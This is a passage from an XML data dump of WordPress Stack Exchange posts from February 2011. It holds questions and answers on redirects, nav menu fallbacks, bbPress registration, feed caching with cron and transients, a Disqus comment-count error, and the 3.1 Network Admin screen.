$the_query-&amp;gt;have_posts() ) : $the_query-&amp;gt;the_post();&#xA;&#xA;   // do whatever&#xA;&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-24T17:09:43.870" CommentCount="8" />
  <row Id="10332" PostTypeId="1" CreationDate="2011-02-24T17:26:38.587" Score="1" ViewCount="169" Body="&lt;p&gt;I have number of pages that have had the urls changed, how can I setup a list of old urls and set the new urls they should point to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Paul&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2011-05-26T06:53:36.713" Title="Best way to handle redirects" Tags="&lt;redirect&gt;&lt;plugin-redirection&gt;" AnswerCount="4" />
  <row Id="10333" PostTypeId="1" AcceptedAnswerId="10347" CreationDate="2011-02-24T17:38:35.853" Score="0" ViewCount="75" Body="&lt;p&gt;I have the following code in place for a custom menu area:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp_nav_header = array( &#xA;    'container' =&amp;gt; '',&#xA;    'menu_class' =&amp;gt; 'sf-menu',&#xA;    'fallback_cb' =&amp;gt; 'wp_page_menu',&#xA;    'theme_location' =&amp;gt; 'primaryheader',&#xA;    'depth' =&amp;gt; 0,);&#xA;wp_nav_menu( $wp_nav_header);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works fine when there &lt;strong&gt;is&lt;/strong&gt; a menu in place, and outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;nav-main&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;sf-menu&quot;&amp;gt;&#xA;&amp;lt;ul&amp;gt;&amp;lt;li...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when it's &lt;strong&gt;falling back&lt;/strong&gt;, it outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;nav-main&quot;&amp;gt;&#xA;&amp;lt;ul id=&quot;menu-default&quot; class=&quot;sf-menu&quot;&amp;gt;&amp;lt;li...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Needless to say, this is throwing off my design as it's adding these classes (for which I have no styling) &amp;amp; stripping suckerfish , but makes my nav disappear (despite showing up in source).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody encounter this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-02-24T18:53:58.023" Title="Fallback_cb is messing around with containers" Tags="&lt;navigation&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="10334" PostTypeId="1" AcceptedAnswerId="10345" CreationDate="2011-02-24T17:41:59.393" Score="0" ViewCount="138" Body="&lt;p&gt;I'm testing Wordpress + bbPress (both latest versions):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://alexchen.info/&quot; rel=&quot;nofollow&quot;&gt;http://alexchen.info/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I press Register it sends me to Wordpress' backend login page (I'm no longer in the site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I click the &lt;a href=&quot;http://alexchen.info/registration-form/&quot; rel=&quot;nofollow&quot;&gt;Registration User&lt;/a&gt; page, and fill my username and email it sends me to Worpdpress' backend login page again and it says: &lt;code&gt;ERROR: The password field is empty.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way of letting the user just sign up while being on the site?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-02-25T08:53:45.223" Title="Wordpress + bbPress registration user-unfriendly?" Tags="&lt;registration&gt;" AnswerCount="1" />
  <row Id="10335" PostTypeId="1" CreationDate="2011-02-24T17:43:53.897" Score="1" ViewCount="470" Body="&lt;p&gt;I'd like to store information about TV shows this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;series (general information about the series)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--episode 1 (video of ep.1 + info about episode)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--episode 2 (video of ep.2 + info about episode)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--episode n&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taxonomies could be used for some of the additional info, such as production year, actors, network, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've currently set this up with a Page for each show and regular Posts for each episode. I link the episodes together with the Organize Series plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible using just custom post types? It seems like it would make things easier as the site grows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="3483" LastActivityDate="2011-03-27T02:38:22.633" Title="Can I use custom post types to create a parent/child relationship?" Tags="&lt;custom-post-types&gt;&lt;php&gt;&lt;3.1&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="10336" PostTypeId="1" AcceptedAnswerId="10337" CreationDate="2011-02-24T17:48:19.570" Score="0" ViewCount="71" Body="&lt;p&gt;So I updated &lt;a href=&quot;http://wordpress.org/extend/plugins/op-archive/&quot; rel=&quot;nofollow&quot;&gt;my plugin&lt;/a&gt; this morning to a new version and made some changes to the readme.txt (basic FAQ, changelog info). But the plugin site isn't reflecting the changes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I updated the 'Stable tag' to version 0.0.2, then copied the trunk file to the tags/0.0.2 directory. The svn page shows the correct readme.txt . Am I missing a step?&lt;/p&gt;&#xA;" OwnerUserId="3357" LastActivityDate="2011-02-24T17:54:07.093" Title="How long does it take to update a plugin page from the readme.txt?" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="10337" PostTypeId="2" ParentId="10336" CreationDate="2011-02-24T17:54:07.093" Score="1" ViewCount="" Body="&lt;p&gt;It normally takes at most 15 minutes before the Extend page is refreshed, so just give it a little while.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-24T17:54:07.093" CommentCount="1" />
  <row Id="10338" PostTypeId="2" ParentId="10322" CreationDate="2011-02-24T17:55:13.237" Score="0" ViewCount="" Body="&lt;p&gt;I think the easiest and cheapest way is to signup for Akismet.com, which is operated by Automattic (team behind WP.com). You name your price...you can pay zero or whatever you want for it. You'll need to install their plugin and signup for an API key at the Akismet site. The whole process it will take you like 5 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will wipe out virtually all spam. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way is to install a Captcha plugin like Math Reloaded that will add a math question within the comments form. Unfortunately not all WP themes have been updated with the new comments framework so sometimes the captcha area appears below the submit button.&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-02-24T17:55:13.237" CommentCount="1" />
  <row Id="10339" PostTypeId="2" ParentId="10335" CreationDate="2011-02-24T17:55:50.027" Score="0" ViewCount="" Body="&lt;p&gt;Yes, it's possible, by using the post_parent field in the wp_posts table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will have to write a custom metabox for setting the relationship though.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-24T17:55:50.027" CommentCount="6" />
  <row Id="10340" PostTypeId="2" ParentId="10309" CreationDate="2011-02-24T17:58:41.047" Score="2" ViewCount="" Body="&lt;p&gt;Cristian from Cosmolabs have post a great tutorial with source files that give you the ability to build a front-end User Profile, Login and Register templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.cozmoslabs.com/2010/05/31/wordpress-user-registration-template-and-custom-user-profile-fields/&quot; rel=&quot;nofollow&quot;&gt;http://www.cozmoslabs.com/2010/05/31/wordpress-user-registration-template-and-custom-user-profile-fields/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-02-24T17:58:41.047" />
  <row Id="10341" PostTypeId="2" ParentId="10332" CreationDate="2011-02-24T18:08:54.010" Score="0" ViewCount="" Body="&lt;p&gt;I've used the &quot;Page Links To&quot; plugin in successfully in the past to redirect old pages.&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/page-links-to/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/page-links-to/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd have to create pages or posts with the old URL to the new URL and specify the new URL at the bottom of the editor page.&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-02-24T18:08:54.010" />
  <row Id="10342" PostTypeId="2" ParentId="10309" CreationDate="2011-02-24T18:22:12.647" Score="1" ViewCount="" Body="&lt;p&gt;The Login with Ajax plugin/widget works well. I use it on a lot of my WP sites.&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-02-24T18:22:12.647" />
  <row Id="10343" PostTypeId="2" ParentId="9979" CreationDate="2011-02-24T18:28:08.833" Score="1" ViewCount="" Body="&lt;p&gt;My recommendation would be to set up a wrapper for &lt;code&gt;fetch_feed()&lt;/code&gt;.  Call the wrapper function through WordPress' cron and you shouldn't have an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function schedule_fetch_feeds() {&#xA;    if ( ! wp_next_scheduled( 'cron_fetch' ) ) {&#xA;        wp_schedule_event( time(), 'hourly', 'cron_fetch', 'http://blog1.url/feed' );&#xA;        wp_schedule_event( time(), 'hourly', 'cron_fetch', 'http://blog2.url/feed' );&#xA;    }&#xA;}&#xA;&#xA;function fetch_feed_on_cron( $url ) {&#xA;    $feed = fetch_feed( $url );&#xA;&#xA;    delete_transient( &quot;feed-&quot; . $url );&#xA;&#xA;    set_transient( &quot;feed-&quot; . $url, $feed, 60*60 );&#xA;}&#xA;&#xA;add_action( 'wp', 'schedule_fetch_feeds' );&#xA;add_action( 'cron_fetch', 'fetch_feed_on_cron', 10, 1 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Keep in mind, &lt;em&gt;I haven't had a chance to test this yet!&lt;/em&gt;  But it &lt;em&gt;should&lt;/em&gt; create cron jobs to grab each of your feeds and store the feeds temporarily in transients.  The transients have 1-hour expirations, because the cron should realistically be updating them every hour anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can pull the feeds out of the transients using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_cached_feed( $url ) {&#xA;    $feed = get_transient( &quot;feed-&quot; . $url );&#xA;    if ( $feed ) return $feed;&#xA;&#xA;    $feed = fetch_feed ( $url );&#xA;    set_transient( &quot;feed-&quot; . $url, $feed, 60*60 );&#xA;    return $feed;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the transient exists, the function grabs it and returns it.  If it doesn't, the function will grab it manually, cache it, and still return it.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-02-24T18:28:08.833" />
  <row Id="10344" PostTypeId="1" AcceptedAnswerId="10356" CreationDate="2011-02-24T18:29:24.510" Score="1" ViewCount="211" Body="&lt;p&gt;Is there one last filter that is ran over the widgets before they are sent out to the browser? I would like to add a filter that adds &lt;code&gt;rel=&quot;nofollow&quot;&lt;/code&gt; to all links in all widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I can add a filter to the text widget:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('widget_text', 'xrvel_nfp_modify_nofollow');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I don't want to hunt down every single hook for every widget. (Also, the RSS widget doesn't even HAVE a filter. &lt;a href=&quot;http://core.trac.wordpress.org/ticket/16648&quot; rel=&quot;nofollow&quot;&gt;Trac ticket submitted&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2011-02-24T20:46:48.603" Title="How to add a filter to all widget output" Tags="&lt;widgets&gt;&lt;nofollow&gt;&lt;add-filter&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="10345" PostTypeId="2" ParentId="10334" CreationDate="2011-02-24T18:41:17.827" Score="2" ViewCount="" Body="&lt;p&gt;this Article &lt;a href=&quot;http://digwp.com/2010/12/login-register-password-code/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/2010/12/login-register-password-code/&lt;/a&gt; provides a great tutorial on how to create you own frontend register/login/restore password forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or if you are looking for a plugin then i've used these before and can recommend them:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/ajax-loginregister/&quot; rel=&quot;nofollow&quot;&gt;Ajax Login/Register&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/login-with-ajax/&quot; rel=&quot;nofollow&quot;&gt;Login With Ajax&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/theme-my-login/&quot; rel=&quot;nofollow&quot;&gt;Theme My Login&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-25T08:53:45.223" LastActivityDate="2011-02-25T08:53:45.223" CommentCount="4" />
  <row Id="10346" PostTypeId="1" AcceptedAnswerId="10350" CreationDate="2011-02-24T18:46:13.070" Score="0" ViewCount="777" Body="&lt;p&gt;After upgrading to WordPress 3.1, the comment count for each post in the Posts list now shows the PHP error &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Warning: number_format() expects parameter 1 to be double, string given in /wp-includes/functions.php on line 155&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This problem is definitely related to the Disqus comments plugin, which I suspect is manipulating the comments count. I see how I could fix this error by editing the WP core file /wp-admin/includes/class-wp-list-table.php and neutering the &quot;get_comments_number()&quot; function, but I'd rather find a solution for whatever is being manipulated in disqus.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2011-05-26T20:50:27.490" Title="WordPress 3.1 and Disqus throws Warning: number_format() error in Posts List" Tags="&lt;plugins&gt;&lt;3.1&gt;&lt;disqus&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="10347" PostTypeId="2" ParentId="10333" CreationDate="2011-02-24T18:53:58.023" Score="1" ViewCount="" Body="&lt;p&gt;basically you are missing the container div so if you change your fallback to a custom function you can pass parameters to wp_page_menu that give you a bit of control over it and add your missing div try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp_nav_header = array( &#xA;    'container' =&amp;gt; '',&#xA;    'menu_class' =&amp;gt; 'sf-menu',&#xA;    'fallback_cb' =&amp;gt; 'my_fallback_menu',&#xA;    'theme_location' =&amp;gt; 'primaryheader',&#xA;    'depth' =&amp;gt; 0,);&#xA;wp_nav_menu( $wp_nav_header);&#xA;&#xA;&#xA;function my_fallback_menu(){&#xA;    echo '&amp;lt;div class=&quot;sf-menu&quot;&amp;gt;';&#xA;    $args = array(&#xA;        'sort_column' =&amp;gt; 'menu_order, post_title',&#xA;        'menu_class'  =&amp;gt; '',&#xA;        'include'     =&amp;gt; '',&#xA;        'exclude'     =&amp;gt; '',&#xA;        'echo'        =&amp;gt; true,&#xA;        'show_home'   =&amp;gt; false,&#xA;        'link_before' =&amp;gt; '',&#xA;        'link_after'  =&amp;gt; '' );&#xA;    wp_page_menu($args);&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-24T18:53:58.023" />
  <row Id="10348" PostTypeId="1" AcceptedAnswerId="10351" CreationDate="2011-02-24T18:59:22.630" Score="0" ViewCount="202" Body="&lt;p&gt;Previously, in WordPress 3.0, multisites were managed through a Super-Admin section of the administration interface. The 3.1 update seems to have moved the administration of multisites to a new &quot;Network Admin&quot; section, which has a similar layout to the standard WP administration panels, but only contains options related to network administration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This section, however, seems to be pretty similar to the old Super-Admin section. Has there been any additional network management features added, or is the Network Admin section just a separation of options?&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2011-02-24T19:17:42.400" Title="What is the new Network Admin section?" Tags="&lt;network-admin&gt;" AnswerCount="1" />
  <row Id="10349" PostTypeId="2" ParentId="10248" CreationDate="2011-02-24T19:05:27.693" Score="1" ViewCount="" Body="&lt;p&gt;Using Press This on the same blog allowed me to rebuild the database which fixed this problem.&lt;/p&gt;&#xA;" OwnerUserId="3449" LastActivityDate="2011-02-24T19:05:27.693" />
  <row Id="10350" PostTypeId="2" ParentId="10346" CreationDate="2011-02-24T19:08:19.330" Score="2" ViewCount="" Body="&lt;p&gt;After quite a bit digging, I managed to fix it without modifying any WP core files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, Disqus usurps the comment count from WordPress and wraps it in its own  with unique identifiers. Since WP is calling its own comment count when viewing the Posts lists, it's getting a string value filled with HTML rather than a plain double value with the comment count. This breaks its internal function &lt;code&gt;number_format_i18n()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fix is to edit disqus.php and have the function &lt;code&gt;function dsq_comments_number($count)&lt;/code&gt; simply return &lt;code&gt;$count&lt;/code&gt;. Just delete the extra HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully Disqus will roll a fix out for this soon, I've had problems with how they handle comment counts in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I just published a full write-up of the fix if you need more explanation: &lt;a href=&quot;http://www.techerator.com/2011/02/fix-wordpress-3-1-and-disqus-plugin-error-when-returning-comments-count/&quot; rel=&quot;nofollow&quot;&gt;http://www.techerator.com/2011/02/fix-wordpress-3-1-and-disqus-plugin-error-when-returning-comments-count/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2011-02-24T19:08:19.330" CommentCount="1" />
  <row Id="10351" PostTypeId="2" ParentId="10348" CreationDate="2011-02-24T19:17:42.400" Score="4" ViewCount="" Body="&lt;p&gt;Basically they moved Super Admin menus and related pages out of the regular admin and into a new &lt;a href=&quot;http://codex.wordpress.org/Network_Admin&quot; rel=&quot;nofollow&quot;&gt;Network Admin screen&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the updates are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add contextual help for Network&#xA;screens&lt;/li&gt;&#xA;&lt;li&gt;Add delete support to network themes&lt;/li&gt;&#xA;&lt;li&gt;Add plugin update notifications,&#xA;plugin install, plugin update to the&#xA;network admin screen&lt;/li&gt;&#xA;&lt;li&gt;Admin Bar similar to that used in wordpress.com blogs (&lt;a href=&quot;http://core.trac.wordpress.org/ticket/14772&quot; rel=&quot;nofollow&quot;&gt;#14772&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Move network version of Tools-&gt;Network to the network admin&lt;/li&gt;&#xA;&lt;li&gt;Move theme installer to the network admin for multisite installs&lt;/li&gt;&#xA;&lt;li&gt;Network Admin (&lt;a href=&quot;http://core.trac.wordpress.org/ticket/14435&quot; rel=&quot;nofollow&quot;&gt;#14435&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Network Wide Settings-&gt;Language Settings&lt;/li&gt;&#xA;&lt;li&gt;New Network Admins page for Theme enable/disable/upgrade&lt;/li&gt;&#xA;&lt;li&gt;Pass more information to notification filters&lt;/li&gt;&#xA;&lt;li&gt;Rename Update menu to Updates in network admin&lt;/li&gt;&#xA;&lt;li&gt;Revamp User-new.php including separate caps for adding users vs. creating users, allowing supes to add via email or username, split adding existing users and creating new users into separate forms&lt;/li&gt;&#xA;&lt;li&gt;Support wildcard domains in WP_PROXY_BYPASS_HOSTS and WP_ACCESSIBLE_HOSTS&lt;/li&gt;&#xA;&lt;li&gt;Tabbed interface for site editing&lt;/li&gt;&#xA;&lt;li&gt;User Admin feature creates a separate &quot;personal&quot; dashboard to provide a single endpoint for accessing profile information, cross-site preferences, a launching point for accessing all of a user's blogs, collation of stats across all of a user's blogs, a place for a multisite aware quick press, etc. (&lt;a href=&quot;http://core.trac.wordpress.org/ticket/14696&quot; rel=&quot;nofollow&quot;&gt;#14696&lt;/a&gt;) &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-24T19:17:42.400" />
  <row Id="10352" PostTypeId="2" ParentId="9344" CreationDate="2011-02-24T19:50:57.397" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can i, with Git, checkout the most&#xA;  current repo from my live server to my&#xA;  local machine?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, unless you also add the wp-content folder under version control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can instead look at other tools, such as rsync.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the database, you could make the live server accept remote MySQL connections, so that you could work on it directly from your dev machine, although I don't think that's such a good idea.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-24T19:50:57.397" />
  <row Id="10353" PostTypeId="2" ParentId="10344" CreationDate="2011-02-24T20:12:03.650" Score="2" ViewCount="" Body="&lt;p&gt;The output is completely up to each individual widget. It is echoed directly by the widget's &lt;code&gt;widget()&lt;/code&gt; method, so there's no general filters that apply to all of them.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-24T20:12:03.650" CommentCount="1" />
  <row Id="10354" PostTypeId="2" ParentId="10304" CreationDate="2011-02-24T20:40:10.230" Score="0" ViewCount="" Body="&lt;p&gt;The cat parameter is partly broken in 3.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install the Hotfix plugin to fix it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/hotfix/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/hotfix/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-24T20:40:10.230" CommentCount="3" />
  <row Id="10355" PostTypeId="2" ParentId="9979" CreationDate="2011-02-24T20:44:16.557" Score="1" ViewCount="" Body="&lt;p&gt;Breaking my own rule and adding a second answer ... but for a very specific reason ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took a closer look at the actual core code for &lt;code&gt;fetch_feed()&lt;/code&gt; in response to Rarst's comment on the original question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;holy grail here would be to make native fetch_feed() get all feeds asynchronously in cron and never when user loads front-end page&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The actual function code is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function fetch_feed($url) {&#xA;    require_once  (ABSPATH . WPINC . '/class-feed.php');&#xA;&#xA;    $feed = new SimplePie();&#xA;    $feed-&amp;gt;set_feed_url($url);&#xA;    $feed-&amp;gt;set_cache_class('WP_Feed_Cache');&#xA;    $feed-&amp;gt;set_file_class('WP_SimplePie_File');&#xA;    $feed-&amp;gt;set_cache_duration(apply_filters('wp_feed_cache_transient_lifetime', 43200, $url));&#xA;    do_action_ref_array( 'wp_feed_options', array( &amp;amp;$feed, $url ) );&#xA;    $feed-&amp;gt;init();&#xA;    $feed-&amp;gt;handle_content_type();&#xA;&#xA;    if ( $feed-&amp;gt;error() )&#xA;        return new WP_Error('simplepie-error', $feed-&amp;gt;error());&#xA;&#xA;    return $feed;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To save you the trouble of reading up on the &lt;code&gt;SimplePie()&lt;/code&gt; object ... the &lt;code&gt;$feed-&amp;gt;init()&lt;/code&gt; function first checks to see if we're caching the feed and, if so, retrieves from the &lt;em&gt;cache&lt;/em&gt; rather than re-requesting the feed from the original source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each feed it cached for 43200 seconds (or 12 hours) which is the lifetime of the transient.  You could modify this up or down by using the 'wp_feed_cache_transient_lifetime' filter.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;To Address the Original Question&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Feeds aren't re-fetched via cron.  They're fetched once, then cached for future use.  The only time a feed is loaded when a user first visits the page is when the cache is empty.  For a high-traffic site, this should be relatively rare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you're facing performance issues related to feeds, you've probably got some other issue going on.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-02-24T20:44:16.557" CommentCount="5" />
  <row Id="10356" PostTypeId="2" ParentId="10344" CreationDate="2011-02-24T20:46:48.603" Score="2" ViewCount="" Body="&lt;p&gt;There is another thread on here that discusses a workaround.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well... the familiar php workaround when a function does not provide a &quot;get to variable&quot; output actually... use ob_start: &lt;a href=&quot;http://php.net/manual/en/function.ob-start.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/function.ob-start.php&lt;/a&gt;&#xA;to just capture the output and manipulate it before sending it on its way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leads on stackoverflow: &lt;a href=&quot;http://stackoverflow.com/search?q=%2Bwordpress+sidebar+%2Bob-start+&quot;&gt;http://stackoverflow.com/search?q=%2Bwordpress+sidebar+%2Bob-start+&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2011-02-24T20:46:48.603" />
  <row Id="10357" PostTypeId="1" CreationDate="2011-02-24T20:50:21.047" Score="1" ViewCount="839" Body="&lt;p&gt;I'm trying to show result for a custom field that is not empty on a custom post type but getting no results?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    &amp;lt;?php&#xA;&#xA;                        if (have_posts()) :&#xA;                            $args = array(&#xA;                                'post_type' =&amp;gt; 'programmes',&#xA;                                'meta_query' =&amp;gt; array(&#xA;                                        'key' =&amp;gt; 'linktovideocatchup',&#xA;                                        'value' =&amp;gt; '',&#xA;                                        'compare' =&amp;gt; 'NOT LIKE'),&#xA;                                //'caller_get_posts' =&amp;gt; 1,                              &#xA;                                );&#xA;                        ?&amp;gt;&#xA;&#xA;                        &amp;lt;?php query_posts( $args ); ?&amp;gt;&#xA;&#xA;&#xA;                        &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt; `enter code here`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2011-03-02T22:55:32.557" Title="meta query not showing any results?" Tags="&lt;custom-field&gt;&lt;query-posts&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="10358" PostTypeId="2" ParentId="7769" CreationDate="2011-02-24T20:52:25.487" Score="1" ViewCount="" Body="&lt;p&gt;Just found a new plugin which seems to do exactly what I described above: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/additional-image-sizes-zui/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/additional-image-sizes-zui/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps someone!&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditorDisplayName="" LastEditDate="2011-02-25T17:37:14.263" LastActivityDate="2011-02-25T17:37:14.263" />
  <row Id="10359" PostTypeId="1" AcceptedAnswerId="10360" CreationDate="2011-02-24T21:13:50.180" Score="0" ViewCount="35" Body="&lt;p&gt;I'm creating new pages under Pages &gt; Add new.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And creating my own page.php file from the ground up, what's the best way of displaying pages contents?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess not  get_template_part( 'loop'), since there will be no posts, just static pages?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-02-24T21:22:47.850" Title="How to display a page?" Tags="&lt;page&gt;&lt;pages&gt;" AnswerCount="1" />
  <row Id="10360" PostTypeId="2" ParentId="10359" CreationDate="2011-02-24T21:22:47.850" Score="0" ViewCount="" Body="&lt;p&gt;Actually, pages also use the loop to display contents, but there will only be one &quot;post&quot; to loop through.  Pages are treated almost exactly the same way as single posts as far as reading and rendering content goes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're creating your own &lt;code&gt;page.php&lt;/code&gt; file for a theme, take a look first at how Twenty Ten is put together.  It's always easier to learn from others than to reinvent the wheel.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-02-24T21:22:47.850" CommentCount="3" />
